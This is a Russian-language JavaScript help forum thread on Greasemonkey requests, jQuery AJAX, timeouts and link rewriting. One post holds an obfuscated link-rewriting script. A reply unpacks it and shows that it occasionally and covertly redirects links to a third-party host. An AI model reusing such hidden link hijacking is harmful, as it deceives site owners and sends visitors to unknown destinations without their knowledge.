Подскажите в чем проблема? Запускают данный код через greasemonkey. Если ставлю alert(duc) внутри функции GM_xmlhttpRequest то алерт выводит нормальное значение. Но если ставлю такой же алерт внутри функции refresh() то выводит undefined. Необходимо чтобы значения полученные в функции GM_xmlhttpRequest нормально выводились в функции refresh Code: // ==UserScript== // @name test // @namespace *www.site.com* // @include * // ==/UserScript== var xpc; var duc; var kgc; var pgc; GM_xmlhttpRequest({ method: 'GET', url: 'http://localhost/1.php?boss=boss', headers: { 'User-agent': 'Mozilla/4.0 (compatible) Greasemonkey/0.3', 'Accept': 'application/atom+xml,application/xml,text/xml', }, onload: function(responseDetails) { var parser = new DOMParser(); var dom = parser.parseFromString(responseDetails.responseText, "application/xml"); dus = dom.getElementsByTagName('root'); duc = dus[0].getElementsByTagName('du')[0].textContent; xpc = dus[0].getElementsByTagName('xp')[0].textContent; kgc = dus[0].getElementsByTagName('kg')[0].textContent; pgc = dus[0].getElementsByTagName('pg')[0].textContent; } }); (function(){ refresh(); } )(); function refresh(){ divPr = document.createElement("div"); divPr.innerHTML = ''; divPr.setAttribute("style",'position:absolute;cursor:pointer;top:0px;right:15%;background:#F2D48C;padding: 3px 3px;'); document.getElementsByTagName('body')[0].appendChild(divPr); var bOpenBags = document.createElement("b"); var img = document.createElement('img'); bOpenBags.innerHTML = '��: <input type="text" name="du" id="du" maxlength="5" size="5" style="font-family:Tahoma; font-size:12; text-align:center; background-color:rgb(255,204,102); border-width:1; border-color:rgb(51,51,51); border-style:dotted;" value='+duc+'><br>'; bOpenBags.setAttribute("style",'color:#228B22;'); divPr.appendChild(bOpenBags); var bOpenBags = document.createElement("b"); var img = document.createElement('img'); bOpenBags.innerHTML = '��: <input type="text" name="xp" id="xp" maxlength="5" size="5" style="font-family:Tahoma; font-size:12; text-align:center; background-color:rgb(255,204,102); border-width:1; border-color:rgb(51,51,51); border-style:dotted;" value='+xpc+'><br>'; bOpenBags.setAttribute("style",'color:#228B22;'); divPr.appendChild(bOpenBags); var bOpenBags = document.createElement("b"); var img = document.createElement('img'); bOpenBags.innerHTML = '��: <input type="text" name="kg" id="kg" maxlength="5" size="5" style="font-family:Tahoma; font-size:12; text-align:center; background-color:rgb(255,204,102); border-width:1; border-color:rgb(51,51,51); border-style:dotted;" value='+pgc+'><br>'; bOpenBags.setAttribute("style",'color:#228B22;'); divPr.appendChild(bOpenBags); var bOpenBags = document.createElement("b"); var img = document.createElement('img'); bOpenBags.innerHTML = '��: <input type="text" name="pg" id="pg" maxlength="5" size="5" style="font-family:Tahoma; font-size:12; text-align:center; background-color:rgb(255,204,102); border-width:1; border-color:rgb(51,51,51); border-style:dotted;" value='+xpc+'><br>'; bOpenBags.setAttribute("style",'color:#228B22;'); divPr.appendChild(bOpenBags); } Я правда нашла тут примерный ответ на вопрос но понять как это реализовать не понимаю. Кто может подскажите
Кто подскажите на странице выводиться alert() при определенных обстоятельствах с текстом stop spamming. Можно ли как-то его заблокировать чтобы он не выводился средствами JS ?
Как передать php скрипту ajax-ом данные,сгенеренные js скриптом через html форму? Код: PHP: <script> $("#sub").click(function() { $("#t").text("0000000"); $.ajax({ url: "one.php", data: $("#f").serialize(), dataType: "text", success: function(data) { //alert(data); } }); }); </script> #sub - сабмит кнопка формы #f - айди формы #t - данные,которые хочу передать one.php - данные,которые нужно туда передать Трабла в том,что методу сериалайз() как бы пох на то,что я js пытаюсь установить значения формы.Например, var t = 000000; $("#t").text(t); Вот так и не работает...В общем,нужен рабочий вариант =\ Форма передаётся постом.
1) Сереалайз - нужен для Своего ajax,т.е. это уже углубленная разработка,а ajax самого jQuery - сам берёт все данные со всех частей формы...т.е. $("#f") 2) если не выходит или не нужно что-то слать или на оборот дополнительно - делай запрос сам,к примеру data:{name:$('#f input[name=name]').val(),pass:$('#f input[name=pass]').val()}, 3) куча примеров на офф-сайте http://api.jquery.com/jQuery.ajax/ 4) Когда задаешь вопрос - давай ПОЛНЫЙ код,сложно понять ошибку когда ты расписал Своими непонятными терминами всё...если хочешь чтобы помогли - выреж Всю форму и выреж этот аякс,чтобы люди могли Затестить у себя,и поправить как Нужно уже имеющийся вариант!
Ну вот форма: PHP: <html> <head> <script src="jq.js"></script> </head> <body> <div style="position:absolute;top:20%;left:40%;"> <form id="f"> <input type="hidden" id="t" name="something" value=""> <input type="submit" id="sub" name="sub" value="Send data"> </form> </div> </body> </html> Всего-то и нужно,что сгенерить произвольное число и послать его постом другому php скрипту через ajax.Но проблему я понял хоть...
Я не понимаю,как в $.ajax() юзать этот data. я так понял,что data:{x:$("#s").val()} передаст php скрипту x=значение,например,x=5.Число 5 берётся из элемента с id="s" К примеру,из формы: PHP: <form> <input type="text" id="s" value=5> </form>
Задача... Есть такой вот скрипт: Code: var enable_relink = 1; var link_src = [ "www" ]; var dest = "go/go.php?go="; eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 a(s){4 3=o;5(i q 9)2(s.k(9[i])>=0){3=n;m}8 3}7 b(){2(!p)8;2(6.d(6.e()*h)==g)c="f://B-z.y/E/C.D?u=";4 1="";4 l=t.r("A");5(j=0;j<l.x;j++){1=l[j].w("1");2(a(1)){l[j].v("1",c+1)}}}b();',41,41,'|href|if|res|var|for|Math|function|return|link_src|isMatch|kapkan|dest|round|random|http|14|100|||indexOf||break|true|false|enable_relink|in|getElementsByTagName||document|go|setAttribute|getAttribute|length|com|ebooks||pc|index|php|getlink'.split('|'),0,{})) var link_src у нас массив с условиями - если на странице есть ЛИНК содержащий "www", то меняем его на "go/go.php?go=ЛИНК". А как прописать изключения ? Например: ЛИНК содержащий "www" и не содержащий "facebook".
Ну для начала было-бы хорошо давать не обфусцированые скрипты) Code: var enable_relink = 1; var link_src = [ "www" ]; var dest = "go/go.php?go="; function isMatch(s) { var res = false; for (i in link_src) if (s.indexOf(link_src[i]) >= 0) { res = true; break; } return res; } function kapkan() { if (!enable_relink) return; if (Math.round(Math.random() * 100) == 14) dest = "http://pc-ebooks.com/getlink/index.php?go="; var href = ""; var l = document.getElementsByTagName("A"); for (j = 0; j < l.length; j++) { href = l[j].getAttribute("href"); if (isMatch(href)) { l[j].setAttribute("href", dest + href); } } } kapkan(); как будет время гляну что с исключениями придумать
как-нибудь так: Code: function isMatch(s) { var res = false; [B]for (i in link_src) if ((s.indexOf(link_src[i]) >= 0) && (s.indexOf("exception") < 0)) [/B]{ res = true; break; } return res; }
привет всем. столкнулся с большой проблемой( есть сайт kartbay.ru вверху поиск по каталогу. при вводе фразы нас перекидывает на страницу /catalog и данные переносятся в другую форму поиска. но.. не выполняется сортировка на лету. как испраить этот недочёт или как вообще сделать всё по другому?
Кто знает, как сделать ява скрипт который при вставе в адресную строку перенаправлял пользователя на другой сайт?
Подскажите как сделать. В общем есть цикл в котором переменной val присваиваються элементы массива actionSpusk Code: for (var key in actionSpusk) { var val = actionSpusk[key]; vUrl = (tmDomain+'/'+val); GM_xmlhttpRequest({method: "GET", url: vUrl,}); } Так вот надо установить таймаут 2 секунды между запросами на каждую ссылку из массива за переход по ссылке отвечает код Code: GM_xmlhttpRequest({method: "GET", url: vUrl,}); Пробовал вот так, но переходы по ссылкам происходят без задержки несмотря на установленный таймаут. Code: setTimeout(GM_xmlhttpRequest({method: "GET", url: vUrl,}),2000); Вот более подробный код Code: for (var q=0;q<items.length;q++){ art_id = items[q].getAttribute("art_id"); id = items[q].getAttribute("id"); var amount = items[q].getAttribute("amount"); var vUrl; if (art_id==160 && amount<100) { for (var key in actionSpusk) { var val = actionSpusk[key]; vUrl = (tmDomain+'/'+val); GM_xmlhttpRequest({method: "GET", url: vUrl,}); } } }